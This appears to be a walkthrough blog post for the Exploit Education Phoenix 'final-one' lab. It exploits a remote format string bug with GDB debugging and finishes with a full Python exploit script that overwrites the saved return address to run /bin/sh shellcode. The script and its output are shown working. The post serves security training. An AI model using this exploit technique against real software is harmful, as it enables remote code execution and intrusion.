Remote format string!
The description and source code can be found here:
http://exploit.education/phoenix/final-one/
I won’t be going into any detail about format string vulnerabilities. So if you’re not familiar with them, check out my solution to the Format Zero level for a brief overview.
There’s a lot more code to this level than the last one. However, format string bugs are usually pretty easy to find, hence the reason you don’t see them as much anymore. I just look for a call to one of the printf() family functions that doesn’t use a format string while printing something from user input. There’s only one that meets these requirements, it’s the last line in the logit() function:
void logit(char *pw) { char buf[2048]; snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw); fprintf(output, buf); }
logit() is called from parser(), which is called from main(). The parser() function shows that there are 2 possible commands; username & login:
void parser() { char line[128]; printf("[final1] $ "); while (fgets(line, sizeof(line) - 1, stdin)) { trim(line); if (strncmp(line, "username ", 9) == 0) { strcpy(username, line + 9); } else if (strncmp(line, "login ", 6) == 0) { if (username[0] == 0) { printf("invalid protocol\n"); } else { logit(line + 6); printf("login failed\n"); } } printf("[final1] $ "); } }
I should be able to exploit the format string vulnerability with either the username or login commands. However, the only way I’ll be able to see the results is by running the binary directly and using the “‐‐test” argument:
user@phoenix-amd64:/opt/phoenix/i486$ ./final-one --test Welcome to phoenix/final-one, brought to you by https://exploit.education [final1] $ username %x.%x.%x [final1] $ login %x.%x.%x Login from testing:12121 as [0.0.69676f4c] with password [7266206e.74206d6f.69747365] login failed
It’s definitely vulnerable. I’m going to try using the “username” command to place the pointers and the “login” command for the multiple %x and %n format specifiers. First, I’ll need to play around with it to figure out how many %x’s to use before the first %n. I’ll do that locally so I can see the output with the “‐‐test” argument:
user@phoenix-amd64:/opt/phoenix/i486$ echo -e "username AAAABBBB\nlogin %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x" | ./final-one --test Welcome to phoenix/final-one, brought to you by https://exploit.education [final1] $ [final1] $ Login from testing:12121 as [AAAABBBB] with password [0.0.69676f4c.7266206e.74206d6f.69747365.313a676e.31323132.20736120.4141415b.42424241.77205d42] login failed [final1] $
Here, you can see it took 10 %x’s to get to the A’s. But it doesn’t line up nicely. The first character of that particular word (4-bytes) is a 0x5b, the open bracket ([) character. I’ll need to use three A’s before the pointer.
From here, I’ll switch to using the remote process for debugging. I’ll use GDB to find where the saved return pointer is for the logit() function.
Starting the process:
user@phoenix-amd64:~$ nc 127.1 64014 Welcome to phoenix/final-one, brought to you by https://exploit.education [final1] $
Attaching GDB to the process, setting a breakpoint, and continuing:
user@phoenix-amd64:~$ sudo -i [sudo] password for user: root@phoenix-amd64:~# ps aux | grep final-one phoenix+ 293 0.6 0.0 736 4 ? Ss 12:00 0:00 /opt/phoenix/i486/final-one root 316 0.0 0.0 6888 984 pts/1 S+ 12:00 0:00 grep final-one root@phoenix-amd64:~# gdb -q -p 293 GEF for linux ready, type `gef' to start, `gef config' to configure 78 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Attaching to process 293 ... gef➤ disas logit Dump of assembler code for function logit: ... 0x08048827 <+66>: call 0x80485a0 <fprintf@plt> 0x0804882c <+71>: add esp,0x10 0x0804882f <+74>: nop 0x08048830 <+75>: leave 0x08048831 <+76>: ret End of assembler dump. gef➤ b *logit+66 Breakpoint 1 at 0x8048827 gef➤ c Continuing.
Use the commands in the running program:
user@phoenix-amd64:~$ nc 127.1 64014 Welcome to phoenix/final-one, brought to you by https://exploit.education [final1] $ username A [final1] $ login B
Check the location of the saved return pointer back in GDB:
Breakpoint 1, 0x08048827 in logit () ... gef➤ info frame Stack level 0, frame at 0xffffdca0: eip = 0x8048827 in logit; saved eip = 0x804892c called by frame at 0xffffdd40 Arglist at 0xffffdc98, args: Locals at 0xffffdc98, Previous frame's sp is 0xffffdca0 Saved registers: ebp at 0xffffdc98, eip at 0xffffdc9c
Now that I know the saved return pointer is stored at 0xffffdc9c, I’ll start writing an exploit script. First, I just want to make sure I can overwrite the saved return point with something. Since the end goal is to execute my own shellcode, I’ll put the shellcode in there right away so I can see the smallest value the first byte can be.
#!/usr/bin/env python2 import struct import socket import time HOST = "127.0.0.1" PORT = 64014 # Stored EIP @ 0xffffdc9c RET = 0xffffdc9c address = struct.pack("I", RET) # http://shell-storm.org/shellcode/files/shellcode-841.php (21 bytes) shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" shellcode += "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" payload = "" payload += "username AAA" payload += address payload += shellcode payload += "\nlogin %x%x%x%x%x%x%x%x%x%x%n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) print s.recv(1024).strip() time.sleep(0.1) print s.recv(12).strip() raw_input("Press Enter to send the payload...") s.sendall(payload + "\n") while True: print s.recv(1024).strip(), s.sendall(raw_input() + "\n")
I added the time.sleep(0.1) line because without it, the first prompt wouldn’t show up as expected. Testing it out:
user@phoenix-amd64:~$ ./final-one.py Welcome to phoenix/final-one, brought to you by https://exploit.education [final1] $ Press Enter to send the payload...
In another terminal, I attach to the process and set the breakpoint:
root@phoenix-amd64:~# ps aux | grep final-one user 2013 2.4 0.9 22352 9308 pts/0 S+ 13:05 0:00 python2 ./final-one.py phoenix+ 2014 0.8 0.0 736 4 ? Ss 13:05 0:00 /opt/phoenix/i486/final-one root 2016 0.0 0.0 6888 984 pts/1 S+ 13:05 0:00 grep final-one root@phoenix-amd64:~# gdb -q -p 2014 ... gef➤ b *logit+66 Breakpoint 1 at 0x8048827 gef➤ c Continuing.
I hit Enter to send the payload on the first terminal and reach the breakpoint in GDB. This is right before the call to fprintf(), so first I’ll check the contents of the saved return pointer. After stepping to the next instruction, I should see that changed:
gef➤ x 0xffffdc9c 0xffffdc9c: 0x0804892c gef➤ n Program received signal SIGSEGV, Segmentation fault. 0xf7fba4a0 in printf_core () from target:/opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1 ... gef➤ x 0xffffdc9c 0xffffdc9c: 0x0804892c
Oh crap. A segfault in the printf_core() function. And the saved return point never got changed. There may be some differences when running the binary locally vs connecting to the remote process. I’ll try to see what happened:
gef➤ x/i $pc => 0xf7fba4a0 <printf_core+1405>: mov DWORD PTR [eax],edi gef➤ p/x $edi $1 = 0x8e gef➤ p/x $eax $2 = 0xdc9c4141
I checked the instruction that the segfault happened at and see that it’s trying to move the value in EDI to the pointer stored in EAX. I looked at EDI and that’s probably the number of bytes that have been written so far. EAX looks like the pointer it’s going to write to, though, it’s only half write. The first half of the expected pointer is there, but the other half is two A’s. So I’m thinking, all I need to do is remove two A’s to fix the problem.
Testing it out again:
root@phoenix-amd64:~# ps aux | grep final-one user 2208 4.0 0.9 22352 9308 pts/0 S+ 13:44 0:00 python2 ./final-one.py phoenix+ 2209 1.0 0.0 736 4 ? Ss 13:44 0:00 /opt/phoenix/i486/final-one root 2211 0.0 0.0 6888 984 pts/1 S+ 13:44 0:00 grep final-one root@phoenix-amd64:~# gdb -q -p 2209 ... gef➤ b *logit+66 Breakpoint 1 at 0x8048827 gef➤ c Continuing. ... Breakpoint 1, 0x08048827 in logit () ... gef➤ x 0xffffdc9c 0xffffdc9c: 0x0804892c gef➤ n 0x0804882c in logit () ... gef➤ x 0xffffdc9c 0xffffdc9c: 0x0000008c
Great success! From here it’s a simple matter to put any value I want in the saved return address pointer. I’ll simply need to point it to the start of my shellcode. For a detailed look at how to write an arbitrary value, check out my solution to the Format Three level.
There was quite a bit of trial-and-error here, especially to get the first byte of the overwritten return address to a specific value. I couldn’t use the same technique I used in my Format Four solution (and Format Three) of simply adding a bunch of spaces between the %n specifiers since there wasn’t enough space in the buf variable. Anyway, here’s the final exploit:
#!/usr/bin/env python2 import struct import socket import time HOST = "127.0.0.1" PORT = 64014 # Stored EIP @ 0xffffdc8c RET = 0xffffdc8c addresses = struct.pack("I", RET) addresses += "AAAA" addresses += struct.pack("I", RET+1) addresses += "AAAA" addresses += struct.pack("I", RET+2) addresses += "AAAA" addresses += struct.pack("I", RET+3) # http://shell-storm.org/shellcode/files/shellcode-841.php (21 bytes) shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" shellcode += "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" # Target address = 0xffffd4bc byte1 = 0xbc byte2 = 0xd4 byte3 = 0xff byte4 = 0x1ff # Minimum value in first byte: 164 (0xa4) payload = "" payload += "username A" payload += addresses payload += shellcode payload += "\nlogin " payload += "%x" * 9 payload += "%0" + str(byte1-156) + "x" payload += "%n" payload += "%0" + str(byte2-byte1) + "x" payload += "%n" payload += "%0" + str(byte3-byte2) + "x" payload += "%n" payload += "%0" + str(byte4-byte3) + "x" payload += "%n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) print s.recv(1024).strip() time.sleep(0.1) print s.recv(12).strip() raw_input("Press Enter to send the payload...") s.sendall(payload + "\n") print "Shell now!" while True: print s.recv(10024).strip() s.sendall(raw_input("$ ") + "\n")
Testing it out:
user@phoenix-amd64:~$ ./final-one.py Welcome to phoenix/final-one, brought to you by https://exploit.education [final1] $ Press Enter to send the payload... Shell now! [final1] $ $ id uid=520(phoenix-i386-final-one) gid=520(phoenix-i386-final-one) groups=520(phoenix-i386-final-one)